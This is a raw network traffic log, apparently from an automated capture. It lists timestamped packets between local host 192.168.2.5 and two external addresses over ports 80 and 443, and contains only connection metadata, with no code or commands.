Dec 18, 2024 21:30:42.386264086 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.386964083 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.386976957 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.387012959 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.387517929 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.387531042 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.387587070 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.387587070 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.388150930 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.388164043 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.388194084 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.388206959 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.388827085 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.388839960 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.388895988 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.388895988 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.389540911 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.389553070 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.389564991 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.389583111 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.389595985 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.389616013 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.390232086 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.390244961 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.390285969 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.390994072 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.391006947 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.391032934 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.391043901 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.391576052 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.391588926 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.391619921 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.391633034 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.392252922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.392297983 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.392330885 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.392433882 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.392947912 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.392961025 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.392987013 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.392998934 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.393645048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.393688917 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.393740892 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.393776894 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.394330025 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.394341946 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.394372940 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.394387960 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.395040035 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.395052910 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.395102978 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.395102978 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.395670891 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.395690918 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.395708084 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.395783901 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.396383047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.396420956 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.396428108 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.396465063 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.397102118 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.397115946 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.397149086 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.397161961 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.397754908 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.397768974 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.397779942 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.397814035 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.398469925 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.398488998 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.398529053 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.399171114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.399188995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.399244070 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.399244070 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.399837017 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.399856091 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.399878979 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.399893999 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.400666952 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.400680065 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.400690079 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.400716066 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.400748014 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.401377916 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.401391029 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.401439905 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.401892900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.401905060 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.401949883 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.506880999 CET	443	49821	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:42.506966114 CET	49821	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:42.509603977 CET	49821	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:42.509613991 CET	443	49821	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:42.510273933 CET	443	49821	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:42.512375116 CET	49821	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:42.512742043 CET	49821	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:42.512780905 CET	443	49821	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:42.512831926 CET	49821	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:42.555335045 CET	443	49821	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:42.561007023 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.561175108 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.561187983 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.561217070 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.561266899 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.561728001 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.561923027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.561975956 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.562297106 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.562309980 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.562360048 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.563112020 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.563152075 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.563162088 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.563363075 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.563544989 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.563556910 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.563590050 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.563606977 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.564161062 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.564208031 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.564450979 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.564462900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.564492941 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.564505100 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.565314054 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.565326929 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.565371037 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.565988064 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.565999031 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.566045046 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.566910028 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.566929102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.566984892 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.567004919 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.567593098 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.567605019 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.567675114 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.567675114 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.568346024 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.568358898 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.568406105 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.568778992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.568790913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.568803072 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.568825006 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.568836927 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.569325924 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.569339037 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.569384098 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.569823980 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.569842100 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.569879055 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.569910049 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.570475101 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.570497990 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.570550919 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.571175098 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.571187973 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.571198940 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.571232080 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.571264029 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.571837902 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.571851015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.571880102 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.571924925 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.572535992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.572547913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.572592020 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.573229074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.573241949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.573291063 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.573303938 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.573908091 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.573920965 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.573966980 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.573990107 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.574650049 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.574662924 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.574673891 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.574712992 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.574744940 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.575285912 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.575299025 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.575344086 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.576023102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.576036930 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.576078892 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.576090097 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.576685905 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.576699018 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.576730967 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.576741934 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.577450037 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.577462912 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.577472925 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.577493906 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.577517033 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.578075886 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.578088045 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.578135014 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.578170061 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.578838110 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.578856945 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.578903913 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.579394102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.579411983 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.579438925 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.580138922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.580151081 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.580183983 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.580213070 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.580765009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.580777884 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.580789089 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.580823898 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.580956936 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.581439018 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.581458092 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.581521034 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.581521034 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.582165003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.582175970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.582216024 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.582884073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.582896948 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.582928896 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.582940102 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.583523035 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.583544016 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.583554983 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.583583117 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.583599091 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.584202051 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.584222078 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.584270000 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.584908009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.584920883 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.584970951 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.584970951 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.585637093 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.585650921 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.585686922 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.585716963 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.586318016 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.586330891 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.586373091 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.586400986 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.586982965 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.587007999 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.587018967 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.587058067 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.587086916 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.587688923 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.587702036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.587749004 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.588356018 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.588367939 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.588428020 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.588464022 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.589049101 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.589062929 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.589111090 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.589147091 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.589761019 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.589781046 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.589792967 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.589818954 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.589834929 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.590431929 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.590452909 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.590500116 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.591094017 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.591106892 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.591159105 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.591773987 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.591793060 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.591816902 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.591830969 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.592484951 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.592497110 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.592538118 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.593149900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.593162060 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.593173027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.593204975 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.593228102 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.753401041 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.753549099 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.753631115 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.753870010 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.753882885 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.753922939 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.754466057 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.754513979 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.754717112 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.754729986 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.754779100 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.755414009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.755425930 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.755482912 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.756119967 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.756131887 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.756167889 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.756201029 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.756746054 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.756758928 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.756791115 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.756808996 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.757277966 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.757297039 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.757320881 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.757333040 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.757999897 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.758012056 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.758069992 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.758069992 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.758678913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.758691072 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.758738041 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.759376049 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.759388924 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.759435892 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.760035038 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.760047913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.760059118 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.760087013 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.760114908 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.760858059 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.760879993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.760902882 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.760924101 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.761435032 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.761446953 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.761491060 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.762104034 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.762120962 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:42.762144089 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:42.762159109 CET	49819	80	192.168.2.5	31.41.244.11
